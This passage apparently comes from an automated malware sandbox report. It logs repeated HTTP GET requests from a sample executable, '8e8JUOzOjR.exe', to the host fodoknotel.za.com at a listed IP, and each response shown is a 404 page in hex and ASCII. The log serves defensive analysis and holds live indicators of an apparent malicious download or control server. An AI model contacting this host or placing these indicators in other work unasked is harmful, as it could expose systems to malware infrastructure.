2025-01-14 07:25:35 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49915	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:35 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:36 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:36 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:36 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49924	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:36 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:36 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:36 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:36 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49931	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:37 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:37 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:37 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:37 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49938	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:38 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:38 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:38 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:38 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49945	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:39 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:39 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:39 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:39 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49952	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:40 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:40 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:40 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:40 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49960	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:41 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:41 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:41 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:41 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49967	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:41 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:42 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:42 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:42 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49976	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:42 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:42 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:42 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:42 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49985	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:43 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:43 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:43 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:43 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49992	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:44 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:44 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:44 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:44 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49999	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:45 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:45 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:45 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:45 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	50006	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:46 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:46 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:46 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:46 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	50013	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:47 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
